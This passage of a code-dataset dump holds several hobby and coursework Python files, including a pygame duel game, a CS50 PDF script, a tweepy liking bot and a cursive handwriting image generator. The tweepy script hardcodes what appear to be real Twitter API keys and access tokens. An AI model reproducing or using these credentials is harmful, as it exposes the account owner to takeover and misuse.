\" %i))\r\nl = 0\r\nsl = 0\r\n\r\n\r\nwhile num != \"end\":\r\n i+=1\r\n num = int(input(\"Number %d = \" %i))\r\n if num == 0:\r\n num = \"end\"\r\n elif l == 0:\r\n l = num\r\n elif l>num:\r\n sl = l\r\n l = num\r\n \r\n\r\nprint(\"The lowest number of\",i-1,\"numbers is \",l,\"and second lowest is\",sl)\r\n \r\n\r\n##Output\r\n##Welcome to the Number Sorter 1.0\r\n##\r\n##Enter your numbers now\r\n##\r\n##Number 1 = 8\r\n##Number 2 = 6\r\n##Number 3 = 4\r\n##Number 4 = 2\r\n##Number 5 = 1\r\n##Number 6 = 0\r\n##The lowest number of 5 numbers is 1 and second lowest is 2\r\n","repo_name":"Anupam1707/Python","sub_path":"Play with Numbers/l_sl.py","file_name":"l_sl.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11887193974","text":"import pygame as pg\nimport os, sys, random\nfrom spaceship import Spaceship\n\npg.font.init()\npg.init()\nHEALTH_FONT = pg.font.SysFont('arial', 40)\nMENU_FONT = pg.font.SysFont('arial', 100)\nWIDTH, HEIGHT = 900, 500\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nscreen = pg.display.set_mode((WIDTH, HEIGHT))\npg.display.set_caption(\"Duel\")\nclock = pg.time.Clock()\nFPS = 60\n\nUP = 'up'\nDOWN = 'down'\nLEFT = 'left'\nRIGHT = 'right'\n\nSHIP_WIDTH = 55\nSHIP_HEIGHT = 40\nVEL = 5\nLASER_VEL = 7\nMAX_LASERS = 10\nMIDLINE = pg.Rect(WIDTH // 2 - 5, 0, 10, HEIGHT)\n\nPLAYER_HIT = pg.USEREVENT + 1\nENEMY_HIT = pg.USEREVENT + 2\n\npaused = False\n\n\ndef main_menu():\n timer_sec = 0\n click = False\n running = True\n while running:\n mx, my = pg.mouse.get_pos()\n screen.fill((192, 192, 192))\n title = MENU_FONT.render(\"DUEL\", 1, BLACK)\n screen.blit(title, (WIDTH // 2 - title.get_width() // 2, HEIGHT // 10))\n button_1 = pg.Rect(WIDTH // 2 - 200, HEIGHT // 10 * 4, 400, 60)\n button_2 = pg.Rect(WIDTH // 2 - 200, HEIGHT // 10 * 6, 400, 60)\n one_player = HEALTH_FONT.render(\"1 Player\", 1, BLACK)\n one_player_rect = one_player.get_rect(center=(WIDTH // 2, button_1.centery))\n screen.blit(one_player, one_player_rect)\n two_player = HEALTH_FONT.render(\"2 Players\", 1, BLACK)\n two_player_rect = two_player.get_rect(center=(WIDTH // 2, button_2.centery))\n screen.blit(two_player, two_player_rect)\n pg.draw.rect(screen, BLACK, button_1, 5)\n pg.draw.rect(screen, BLACK, button_2, 5)\n clock.tick(FPS)\n if button_1.collidepoint((mx, my)):\n if click:\n duel_1()\n if button_2.collidepoint((mx, my)):\n if click:\n duel_2()\n click = False\n for event in pg.event.get():\n if event.type == pg.QUIT:\n running = False\n pg.quit()\n sys.exit()\n if event.type == pg.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n pg.display.update()\n\n main_menu()\n\n\ndef duel_1():\n ai_move = pg.USEREVENT + 3\n ai_shoot = pg.USEREVENT + 4\n pg.time.set_timer(ai_move, 500)\n pg.time.set_timer(ai_shoot, 400)\n ai = True\n direction = UP\n global paused\n player = Spaceship(os.path.join('Assets', '6b.png'))\n player.image = pg.transform.rotate(player.image, 270)\n player.rect.x, player.rect.y = (100, HEIGHT // 2 - player.rect.width // 2)\n enemy = Spaceship(os.path.join('Assets', '6.png'))\n enemy.image = pg.transform.rotate(enemy.image, 90)\n enemy.rect.x, enemy.rect.y = (WIDTH - 100 - enemy.rect.width, HEIGHT // 2 - player.rect.width // 2)\n countdown(player, enemy)\n running = True\n while running:\n clock.tick(FPS)\n screen.fill((192, 192, 192))\n pg.draw.rect(screen, BLACK, MIDLINE)\n screen.blit(player.image, (player.rect.x, player.rect.y))\n screen.blit(enemy.image, (enemy.rect.x, enemy.rect.y))\n keys_pressed = pg.key.get_pressed()\n move_player(player, keys_pressed)\n move_enemy_ai(enemy, direction)\n move_lasers(player.shots, enemy.shots, player, enemy)\n player_health = HEALTH_FONT.render(\"Health: \" + str(player.health), 1, BLACK)\n enemy_health = HEALTH_FONT.render(\"Health: \" + str(enemy.health), 1, BLACK)\n screen.blit(enemy_health, (WIDTH - enemy_health.get_width() - 10, 10))\n screen.blit(player_health, (10, 10))\n for laser in player.shots:\n pg.draw.rect(screen, (0, 0, 255), laser)\n for laser in enemy.shots:\n pg.draw.rect(screen, (255, 0, 0), laser)\n\n win_text = ''\n if player.health <= 0:\n win_text = 'YOU LOSE'\n if enemy.health <= 0:\n win_text = 'YOU WIN'\n if win_text != '':\n game_over(win_text, ai)\n\n for event in pg.event.get():\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_SPACE and len(player.shots) < MAX_LASERS:\n laser = pg.Rect(player.rect.midright[0], player.rect.midright[1], 10, 4)\n player.shots.append(laser)\n if event.key == pg.K_ESCAPE:\n paused = True\n pause()\n if event.type == pg.QUIT:\n pg.quit()\n sys.exit()\n if event.type == ENEMY_HIT:\n enemy.health -= 1\n if event.type == PLAYER_HIT:\n player.health -= 1\n if event.type == ai_move:\n directions = [UP, DOWN, LEFT, RIGHT]\n directions.remove(direction)\n new_dir = random.randint(0, 2)\n direction = directions[new_dir]\n if event.type == ai_shoot:\n if len(enemy.shots) < MAX_LASERS:\n laser = pg.Rect(enemy.rect.midleft[0] - 10, enemy.rect.midleft[1], 10, 4)\n enemy.shots.append(laser)\n pg.display.update()\n\n\ndef duel_2():\n global paused\n ai = False\n player = Spaceship(os.path.join('Assets', '6b.png'))\n player.image = pg.transform.rotate(player.image, 270)\n player.rect.x, player.rect.y = (100, HEIGHT // 2 - player.rect.width // 2)\n enemy = Spaceship(os.path.join('Assets', '6.png'))\n enemy.image = pg.transform.rotate(enemy.image, 90)\n enemy.rect.x, enemy.rect.y = (WIDTH - 100 - enemy.rect.width, HEIGHT // 2 - player.rect.width // 2)\n countdown(player, enemy)\n running = True\n while running:\n clock.tick(FPS)\n screen.fill((192, 192, 192))\n pg.draw.rect(screen, BLACK, MIDLINE)\n screen.blit(player.image, (player.rect.x, player.rect.y))\n screen.blit(enemy.image, (enemy.rect.x, enemy.rect.y))\n keys_pressed = pg.key.get_pressed()\n move_player(player, keys_pressed)\n move_enemy(enemy, keys_pressed)\n move_lasers(player.shots, enemy.shots, player, enemy)\n player_health = HEALTH_FONT.render(\"Health: \" + str(player.health), 1, BLACK)\n enemy_health = HEALTH_FONT.render(\"Health: \" + str(enemy.health), 1, BLACK)\n screen.blit(enemy_health, (WIDTH - enemy_health.get_width() - 10, 10))\n screen.blit(player_health, (10, 10))\n for laser in player.shots:\n pg.draw.rect(screen, (0, 0, 255), laser)\n for laser in enemy.shots:\n pg.draw.rect(screen, (255, 0, 0), laser)\n\n win_text = ''\n if player.health <= 0:\n win_text = 'RED WINS'\n if enemy.health <= 0:\n win_text = 'BLUE WINS'\n if win_text != '':\n game_over(win_text, ai)\n\n for event in pg.event.get():\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_SPACE and len(player.shots) < MAX_LASERS:\n laser = pg.Rect(player.rect.midright[0], player.rect.midright[1], 10, 4)\n player.shots.append(laser)\n if event.key == pg.K_RALT and len(enemy.shots) < MAX_LASERS:\n laser = pg.Rect(enemy.rect.midleft[0], enemy.rect.midleft[1], 10, 4)\n enemy.shots.append(laser)\n if event.key == pg.K_ESCAPE:\n paused = True\n pause()\n if event.type == pg.QUIT:\n pg.quit()\n sys.exit()\n if event.type == ENEMY_HIT:\n enemy.health -= 1\n if event.type == PLAYER_HIT:\n player.health -= 1\n\n pg.display.update()\n\n\ndef game_over(text, ai):\n click = False\n running = True\n while running:\n mx, my = pg.mouse.get_pos()\n end_screen = pg.Rect(0, 0, 600, 400)\n end_screen.center = (WIDTH // 2, HEIGHT // 2)\n pg.draw.rect(screen, WHITE, end_screen)\n end_text = MENU_FONT.render(text, 1, BLACK)\n end_text_rect = end_text.get_rect(center=(WIDTH // 2, end_screen.y + 80))\n screen.blit(end_text, end_text_rect)\n play_again_button = pg.Rect(WIDTH // 2 - 200, HEIGHT // 10 * 5, 400, 60)\n menu_button = pg.Rect(WIDTH // 2 - 200, HEIGHT // 10 * 7, 400, 60)\n pg.draw.rect(screen, BLACK, play_again_button, 5)\n pg.draw.rect(screen, BLACK, menu_button, 5)\n play_again = HEALTH_FONT.render(\"Play Again\", 1, BLACK)\n play_again_rect = play_again.get_rect(center=(WIDTH // 2, play_again_button.centery))\n screen.blit(play_again, play_again_rect)\n menu = HEALTH_FONT.render(\"Main Menu\", 1, BLACK)\n menu_rect = menu.get_rect(center=(WIDTH // 2, menu_button.centery))\n screen.blit(menu, menu_rect)\n if play_again_button.collidepoint((mx, my)):\n if click:\n if ai:\n duel_1()\n else:\n duel_2()\n if menu_button.collidepoint((mx, my)):\n if click:\n main_menu()\n click = False\n for event in pg.event.get():\n if event.type == pg.QUIT:\n pg.quit()\n sys.exit()\n if event.type == pg.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n pg.display.update()\n\n\ndef pause():\n click = False\n while paused:\n mx, my = pg.mouse.get_pos()\n clock.tick(FPS)\n pause_screen = pg.Rect(0, 0, 600, 400)\n pause_screen.center = (WIDTH // 2, HEIGHT // 2)\n pg.draw.rect(screen, WHITE, pause_screen)\n pause_text = MENU_FONT.render('PAUSED', 1, BLACK)\n pause_text_rect = pause_text.get_rect(center=(WIDTH // 2, pause_screen.y + 100))\n screen.blit(pause_text, pause_text_rect)\n continue_button = pg.Rect(WIDTH // 2 - 200, HEIGHT // 10 * 5, 400, 60)\n menu_button = pg.Rect(WIDTH // 2 - 200, HEIGHT // 10 * 7, 400, 60)\n pg.draw.rect(screen, BLACK, continue_button, 5)\n pg.draw.rect(screen, BLACK, menu_button, 5)\n continue_text = HEALTH_FONT.render(\"Continue\", 1, BLACK)\n continue_rect = continue_text.get_rect(center=(WIDTH // 2, continue_button.centery))\n screen.blit(continue_text, continue_rect)\n menu = HEALTH_FONT.render(\"Main Menu\", 1, BLACK)\n menu_rect = menu.get_rect(center=(WIDTH // 2, menu_button.centery))\n screen.blit(menu, menu_rect)\n if continue_button.collidepoint((mx, my)):\n if click:\n unpause()\n if menu_button.collidepoint((mx, my)):\n if click:\n main_menu()\n click = False\n for event in pg.event.get():\n if event.type == pg.QUIT:\n pg.quit()\n sys.exit()\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_ESCAPE:\n unpause()\n if event.type == pg.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n pg.display.update()\n\n\ndef unpause():\n global paused\n paused = False\n\n\ndef move_player(player, keys):\n if keys[pg.K_a] and player.rect.x - VEL > 0:\n player.rect.x -= VEL\n if keys[pg.K_d] and player.rect.x + VEL + player.rect.height < MIDLINE.x:\n player.rect.x += VEL\n if keys[pg.K_w] and player.rect.y - VEL > 0:\n player.rect.y -= VEL\n if keys[pg.K_s] and player.rect.y + VEL + player.rect.width < HEIGHT:\n player.rect.y += VEL\n\n\ndef move_enemy(enemy, keys):\n if keys[pg.K_LEFT] and enemy.rect.x - VEL > MIDLINE.x + MIDLINE.width:\n enemy.rect.x -= VEL\n if keys[pg.K_RIGHT] and enemy.rect.x + VEL + enemy.rect.height < WIDTH:\n enemy.rect.x += VEL\n if keys[pg.K_UP] and enemy.rect.y - VEL > 0:\n enemy.rect.y -= VEL\n if keys[pg.K_DOWN] and enemy.rect.y + VEL + enemy.rect.width < HEIGHT:\n enemy.rect.y += VEL\n\n\ndef move_enemy_ai(enemy, dir):\n if dir == LEFT and enemy.rect.x - VEL > MIDLINE.x + MIDLINE.width:\n enemy.rect.x -= VEL\n if dir == RIGHT and enemy.rect.x + VEL + enemy.rect.height < WIDTH:\n enemy.rect.x += VEL\n if dir == UP and enemy.rect.y - VEL > 0:\n enemy.rect.y -= VEL\n if dir == DOWN and enemy.rect.y + VEL + enemy.rect.width < HEIGHT:\n enemy.rect.y += VEL\n\n\ndef move_lasers(player_shots, enemy_shots, player, enemy):\n for laser in player_shots:\n laser.x += LASER_VEL\n if enemy.rect.colliderect(laser):\n pg.event.post(pg.event.Event(ENEMY_HIT))\n player_shots.remove(laser)\n elif laser.x > WIDTH:\n player_shots.remove(laser)\n for laser in enemy_shots:\n laser.x -= LASER_VEL\n if player.rect.colliderect(laser):\n pg.event.post(pg.event.Event(PLAYER_HIT))\n enemy_shots.remove(laser)\n elif laser.x + laser.width < 0:\n enemy_shots.remove(laser)\n\n\ndef countdown(player, enemy):\n timer = pg.USEREVENT + 5\n pg.time.set_timer(timer, 1000)\n time = 3\n timer_screen = pg.Surface((WIDTH, HEIGHT), pg.SRCALPHA)\n timer_screen.fill((0, 0, 0, 150))\n timer_text = MENU_FONT.render(str(time), 1, WHITE)\n timer_rect = timer_text.get_rect(center=(WIDTH // 2, HEIGHT // 2))\n running = True\n while running:\n clock.tick(FPS)\n screen.fill((192, 192, 192))\n pg.draw.rect(screen, BLACK, MIDLINE)\n screen.blit(player.image, (player.rect.x, player.rect.y))\n screen.blit(enemy.image, (enemy.rect.x, enemy.rect.y))\n timer_text = MENU_FONT.render(str(time), 1, WHITE)\n screen.blit(timer_screen, (0, 0))\n screen.blit(timer_text, timer_rect)\n for event in pg.event.get():\n if event.type == pg.QUIT:\n pg.quit()\n sys.exit()\n if event.type == timer:\n time -= 1\n if time == 0:\n running = False\n pg.display.update()\n\n\nif __name__ == \"__main__\":\n main_menu()\n","repo_name":"justinwon777/duel","sub_path":"duel.py","file_name":"duel.py","file_ext":"py","file_size_in_byte":13843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72920860567","text":"import pandas as pd\n\nindex_name='0015'\ntrainingdata_name = index_name + \"_trainingdata\"\n\ndef exportindex():\n df = pd.read_csv('Final.csv', low_memory=False)\n df['dataset'] = index_name\n df['name'] = df['RunID_vial']\n outdf = pd.concat([df['dataset'],df['name']], axis=1)\n outdf = outdf.set_index(['dataset'])\n\n df.drop(['RunID_vial'],axis=1)\n maindf = pd.concat([df['dataset'],df['name'],df],axis=1)\n maindf = maindf.set_index(['dataset'])\n\n outdf.to_csv(index_name+\".csv\")\n maindf.to_csv(trainingdata_name+\".csv\")\n\n# print(outdf)\nexportindex()\n","repo_name":"gcatabr1/ESCALATE_report","sub_path":"expworkup/handlers/future/export_to_repo.py","file_name":"export_to_repo.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26630139872","text":"from fpdf import FPDF\n\nclass Tshirt(FPDF):\n def __init__(self):\n super().__init__()\n\n def header(self):\n self.set_font(\"helvetica\", \"B\", 50)\n self.cell(0,60,\"CS50 Shirtificate\", align =\"C\")\n self.ln(20)\n\n\ndef set_name(name):\n cs50pdf = Tshirt()\n cs50pdf.add_page()\n cs50pdf.image(\"shirtificate.png\",x=10,y=60,w=190)\n cs50pdf.set_font(\"helvetica\", size = 25)\n cs50pdf.set_text_color(255, 255, 255)\n cs50pdf.cell(0,213, name, align =\"C\")\n cs50pdf.output(\"shirtificate.pdf\")\n\n\n\n\nname = input(\"Name: \")\nset_name(f\"{name} took CS50\")\n\n\n\n","repo_name":"frida2go/CS50P","sub_path":"Week 8/shirtificate/shirtificate.py","file_name":"shirtificate.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74564289687","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 6 03:21:36 2020\n\n@author: edris\n\"\"\"\n\nimport tweepy\nimport time\n\nconsumer_key = 'nbSWPMv58BxEhTKuhcgVq2TCD'\nconsumer_secret = 'T8qfJ04hwoRYCKS488al3arzQbFYqIYR7HONtTktPDjxCnUktw'\naccess_token = '728119313605918721-gnEQD3hpH5DiYhJAxFGiBKrItZzXq2D'\naccess_token_secret = 'jF0Dh6FRSDDFFVoe4oCqd1KdXPLenNs7nKLV0HAtyb2gm'\n\ndef limit_handler(cursor):\n try:\n while True:\n yield cursor.next()\n except tweepy.RateLimitError:\n time.sleep(1000)\n except : \n print('You\\'ve reached the end')\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = tweepy.API(auth)\n\n'''\npublic_tweets = api.home_timeline()\nfor tweet in public_tweets:\n print(tweet.text)\n\nuser = api.me()\n\nprint ( user.name )\nprint ( user.screen_name)\nprint ( user.followers_count )\n\nfor follower in limit_handler(tweepy.Cursor(api.followers).items()):\n if follower.screen_name == '08e0v74wOYjQxOS': \n follower.follow()\n print(follower.screen_name)\n'''\n \nsearchString = 'Edrisa'\nnumbersOfTweets = 2\n\nfor tweet in tweepy.Cursor(api.search, searchString).items(numbersOfTweets): \n try: \n tweet.favorite()\n print('I liked that tweet')\n except tweepy.TweepError as e: \n print ( e.reason )\n except StopIteration:\n break","repo_name":"edrisaturay/Learning-Python-Udemy","sub_path":"tweettweet.py","file_name":"tweettweet.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3425825879","text":"# -*- coding: utf-8 -*-\n\nimport os\nfrom setuptools import setup\nfrom setuptools import find_packages\n\n\ndef read_version():\n \"\"\"Read the module version from __version__.txt\"\"\"\n src_dir = os.path.abspath(os.path.dirname(__file__))\n ver_file = os.path.join(src_dir, 'openml_cli', '__version__.txt')\n version = open(ver_file, 'r').readlines().pop()\n if isinstance(version, bytes):\n version = version.decode('utf-8')\n version = str(version).strip()\n return version\n\n\ndef parse_requirements():\n \"\"\"Parse the modules from requirements.txt\"\"\"\n src_dir = os.path.abspath(os.path.dirname(__file__))\n req_file = os.path.join(src_dir, 'requirements.txt')\n reqs = open(req_file, 'r').read().strip().split('\\n')\n reqs = [req.strip() for req in reqs if 'git+' not in req]\n return reqs\n\n\nsetup(\n name='openml-cli',\n packages=find_packages(exclude=[\"tests.*\", \"tests\"]),\n include_package_data=True,\n version=read_version(),\n description='Use the command line tool `oml` or `openml` '\n 'to interact with the official API of OpenML.',\n author='Darius Morawiec',\n author_email='mail@nok.onl',\n url='https://github.com/nok/openml-cli',\n entry_points={\n 'console_scripts': [\n 'openml = openml_cli.cli.__main__:main',\n 'oml = openml_cli.cli.__main__:main',\n ],\n },\n classifiers=[\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ],\n install_requires=parse_requirements(),\n keywords=['openml', 'openscience', 'cli', 'datasets'],\n license='MIT',\n)\n","repo_name":"nok/openml-cli","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"14962770595","text":"import json\n\nfrom manager.moment_manager import create_moment\n\n\ndef create_controller(payload, image_collection, moment_collection):\n if payload is None:\n return on_fail(\"Invalid input: No payload\")\n try:\n data = json.loads(payload)\n except json.decoder.JSONDecodeError:\n return on_fail(\"Invalid input: Not a JSON string\")\n\n if \"user_id\" not in data:\n return on_fail(\"Invalid input: user_id missing\")\n if \"content\" not in data:\n return on_fail(\"Invalid input: content missing\")\n if \"image\" not in data:\n return on_fail(\"Invalid input: image missing\")\n for i in data[\"image\"]:\n if \"filename\" not in i or \"file\" not in i:\n return on_fail(\"Invalid input: Incorrect format in image field\")\n\n user_id = data[\"user_id\"]\n content = data[\"content\"]\n image = data[\"image\"]\n\n try:\n result = create_moment(user_id, content, image, image_collection, moment_collection)\n except TypeError as err:\n return on_fail(err)\n\n return on_success(result)\n\n\ndef on_success(data):\n return json.dumps(data), 200\n\n\ndef on_fail(error_message):\n data = {\"status\": \"error\", \"message\": error_message}\n return json.dumps(data), 400\n","repo_name":"Lostpart/CSE312_Project","sub_path":"controller/moment/moment_create_controller.py","file_name":"moment_create_controller.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14709765244","text":"from random import randint\nimport pygame\n\nfrom objects.object import Object\nfrom visual import colors\n\nclass Sim(Object):\n def __init__(self, stage):\n self.stage = stage\n self.pos = (0, 0)\n self.rectangle = pygame.rect.Rect(\n self.pos[0],\n self.pos[1],\n 20,\n 20\n )\n self.selected = False\n\n def on_mouse_down(self, event):\n if self.rectangle.collidepoint(event.pos):\n self.stage.dragging = False\n\n def on_mouse_up(self, event):\n if self.rectangle.collidepoint(event.pos) and not self.stage.dragging:\n self.selected = not self.selected\n else:\n self.selected = False\n\n def loop(self):\n self.pos = self.stage.rel_pos(0, 0)\n self.rectangle = pygame.rect.Rect(\n self.pos[0],\n self.pos[1],\n 20,\n 20\n )\n if self.selected:\n pygame.draw.rect(self.stage.screen, colors.bright_green, self.rectangle)\n else:\n pygame.draw.rect(self.stage.screen, colors.bright_red, self.rectangle)\n\n def get_data(self):\n self.speed = 1\n self.rotation = 0\n pass\n\n def set_data(self):\n pass\n","repo_name":"birkiy/rtNeatSims","sub_path":"objects/sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7207048676","text":"puzzle = open('puzzle.txt', 'r').read()\n\n\npuzzle = list(puzzle)\nfloor = 0\nin_basement = False\n\nfor i, val in enumerate(puzzle):\n if val == \"(\":\n floor += 1\n elif val == \")\":\n floor -= 1\n if not in_basement:\n if floor == -1:\n in_basement = True\n print('Hit basement at position:', i + 1)\n\n\nprint(floor)\n","repo_name":"AdamJayne/advent_of_code_2015","sub_path":"day1/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24158118727","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport logging\nimport argparse\nimport traceback\nfrom random import choice, sample\nfrom functools import partial\nfrom multiprocessing import Pool\nfrom PIL import Image, ImageDraw, ImageFont\nimport csv\n\nimport letterbox_refs\n\n# Set up logger\nlogging.basicConfig(#filename='log_traindatagen',\n filemode='w',\n format='[%(module)s:%(lineno)d] %(asctime)s - [%(levelname)s] - %(message)s',\n datefmt='%d-%b-%Y %H:%M:%S',\n level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\ndef format_line(line, max_width=90):\n ''' Ensures that lines of text terminate reasonably even if document has no newlines '''\n line = line.split()\n while len(line) > 0:\n out = line[0]\n line = line[1:]\n while len(line) > 0 and len(out) + len(line[0]) + 1 < max_width:\n out = \" \".join([out, line[0]])\n line = line[1:]\n yield out\n\ndef get_doc_dimensions(doc, font, side_margin, header_margin, line_buffer):\n ''' determines the appropriate dimensions for the document\n :params:\n doc- list of lines of text\n font- the font being used in the document\n side_margin- pixel width of side margins\n header_margin- pixel height of header/footer margins\n line_buffer- pixel height of line separator \n :return:\n a tuple indicating document dimensions\n '''\n # Image and Draw objects need to be instantiated because textsize() can't\n # be called statically\n img = Image.new('L', (1, 1), 255)\n draw = ImageDraw.Draw(img)\n max_width = 0\n current_y = 0\n for line in doc:\n text_w, text_h = draw.textsize(line, font=font)\n if text_w > max_width:\n max_width = text_w\n current_y = current_y + text_h + line_buffer\n \n width = max_width + (side_margin * 2)\n height = current_y + (header_margin * 2)\n\n return width, height\n\ndef generate_responses(word, current_x, current_y, font, \n connected_width, doc_id):\n ''' Generates the response data for a word\n :params:\n word- the word to have data generated for\n current_x- the x origin of the word\n current_y- the y origin of the word\n font- an ImageFont object used for the text\n connected_width- the width of the word when written as an entire word\n doc_id- the ID of the document\n :return:\n responses- a list of response data lists\n '''\n # tuning value adds pixels to every side of the box to improve\n # letter containment\n box_tuner = 8\n\n responses = []\n\n # not actually drawing anything, just using this to get texsize\n img = Image.new('L', (1, 1), 255)\n draw = ImageDraw.Draw(img)\n\n # Get word width if letters are written individually\n unconnected_width = 0\n for letter in word:\n text_w, text_h = draw.textsize(letter, font=font)\n unconnected_width += text_w\n\n # Proportion\n prop = connected_width / unconnected_width\n\n for letter in word:\n text_w, text_h = draw.textsize(letter, font=font)\n # resp format: [doc, x0, y0, x1, y1, letter]\n responses.append([doc_id, \n current_x - box_tuner, \n current_y - box_tuner, \n current_x + int(text_w * prop) + box_tuner, \n current_y + text_h + box_tuner, \n letter])\n current_x = current_x + int(text_w * prop)\n\n return responses\n \ndef get_nice_boxes(letters, origin_x, origin_y, word_w, word_h):\n ''' uses reference data to find slightly clever bounding boxes for the cursive letters \n :params:\n letters: str - an iterable of unicode characters\n origin_x: int - the x coordinate of the origin (topleft)\n origin_y: int - the y coordinate of the origin (topleft)\n word_w: int - how wide is the word overall\n word_h: int - how tall is the word overall\n :return:\n boxes: list - an iterable containing many lists representing:\n box- (topleft[0,1], botright[0,1])\n '''\n boxes, _refs = [], []\n\n # change from iterable of letters to iterable of reference namedtuples\n for letter in letters:\n try:\n _refs.append(letterbox_refs.char_weight_dict[letter])\n except KeyError:\n _refs.append(letterbox_refs.default_char_weight)\n \n x_dist_unit = word_w / sum(ref.x for ref in _refs)\n y_dist_unit = word_h\n \n # use floats while in progress then convert back to ints when we're done\n topleft = [float(origin_x), float(origin_y)]\n for ref in _refs:\n box = ( \n ( int(topleft[0]),\n int(topleft[1] + y_dist_unit*(-1*ref.y_off)) )\n ,\n ( int(topleft[0] + x_dist_unit*ref.x), \n int(topleft[1] + y_dist_unit*(-1*ref.y_off+ref.y)) )\n )\n boxes.append(box)\n topleft[0] += x_dist_unit*ref.x\n\n return boxes\n\ndef txt_to_cursive_img(doc, out_path):\n ''' turns a document text into cursive images\n :params:\n doc- list of lines of text\n out- path to a file to put the image\n :return:\n a PIL Image object, response data, and the font (for debugging, some fonts have issues right now)\n '''\n logger.debug(f'generating cursive text image to {out_path}')\n # line_buffer is the pixel spacing between lines\n line_buffer = 15\n\n # pixel value of the side margins\n side_margin = 40\n\n # pixel value of header and foot margins\n header_margin = 40\n\n # Get a random font\n fonts = os.listdir(\"./fonts\")\n font = ImageFont.truetype(f\"./fonts/{choice(fonts)}\", 120)\n\n # Get max line width and document height\n width, height = get_doc_dimensions(doc, font, side_margin, header_margin, line_buffer)\n\n img = Image.new('L', (width, height), 255)\n artist = ImageDraw.Draw(img)\n\n current_y = 0 + header_margin\n current_x = 0 + side_margin\n space = 25\n\n responses = []\n\n for line in doc:\n # logger.debug('converting line')\n max_height = 0\n for word in line.split():\n text_w, text_h = artist.textsize(word, font=font)\n if text_h > max_height:\n max_height = text_h\n artist.text((current_x, current_y), word, font=font, fill=0)\n # box format: [doc, x0, y0, x1, y1, letter]\n boxes = generate_responses(word, current_x, current_y, font, \n text_w, out_path)\n if args.viz:\n for box in boxes:\n artist.rectangle(((box[1], box[2]),(box[3],box[4])), width=0, outline=0)\n current_x = current_x + text_w + space\n current_x = side_margin\n current_y = current_y + max_height + line_buffer\n\n font_out = font.path.split('/')[-1]\n\n return img, responses, font_out\n \n# NOTE(rgasper) the targetFile API is kinda dumb I'm sure there's a better way to do this \ndef generate_file(inputFile, outputFile, targetFile=None):\n if targetFile is None:\n targetFile = outputFile.split('.')[0] + '_targets.csv'\n # Output formats supported by matplotlib NOTE(rgasper) I bet we can import this somehow instead of having it manually here\n supported_formats = [\"eps\", \"jpeg\", \"jpg\", \"pdf\", \"pgf\", \"png\", \"ps\", \n \"raw\", \"rgba\", \"svg\", \"svgz\", \"tif\", \"tiff\"]\n if args.outputFile.split(\".\")[1] not in supported_formats:\n args.outputFile = \"\".join([args.outputFile, \".png\"])\n logger.warn(f'invalid outputFile format, using png instead. please use one of the following formats: {supported_formats}')\n doc = []\n # Read in document to transform to cursive\n with open(inputFile, \"r\") as handle:\n for line in handle:\n for frmtd_line in format_line(line):\n doc.append(frmtd_line)\n # Change each letter to a cursive image\n logger.debug(f'converting string doc to cursive images for {inputFile}')\n try:\n out, responses, font = txt_to_cursive_img(doc, outputFile)\n out.save(outputFile)\n # resp format: [doc, x0, y0, x1, y1, letter]\n with open(targetFile, \"w\") as tf:\n writer = csv.writer(tf)\n writer.writerows(responses)\n except:\n logger.exception(f'failed to generate a cursive image into file {outputFile}')\n raise\n\n return True\n\nif __name__ == '__main__':\n # Get command line args\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--inputFile\", help=\"input file path for single file\", type=str)\n parser.add_argument(\"-o\", \"--outputFile\", default=\"test.png\", help=\"output file path\", type=str)\n parser.add_argument(\"-d\", \"--dir\", help=\"directory of source text files, will run on all .txt files inside the directory\")\n parser.add_argument(\"-v\", \"--viz\", help=\"visualize the bounding boxes in the resulting image pages\", action='store_true')\n parser.add_argument(\"-c\", \"--count\", help=\"only produce this many output files\", type=int)\n parser.add_argument(\"-f\", \"--force\", help='overwrite any output directories without user prompt', action='store_true')\n global args\n args = parser.parse_args()\n\n if not(args.dir) and not (args.inputFile):\n raise NotImplementedError('must provide some kind of input to work with')\n\n # do stuff\n if args.inputFile:\n logger.info(f'processing {args.inputFile}')\n generate_file(args.inputFile, args.outputFile)\n \n if args.dir:\n outDir = \"images_output\"\n logger.info(f'processing all .txt files in {args.dir}, placing results in {outDir}')\n try:\n os.mkdir(outDir)\n except FileExistsError:\n response = False\n if not args.force:\n response = input(f'Delete all files in directory {outDir} [y/n]? ')\n response = response.lower().strip()[0] == 'y'\n if response or args.force:\n logger.info(f'cleared all files in {outDir}')\n for f in 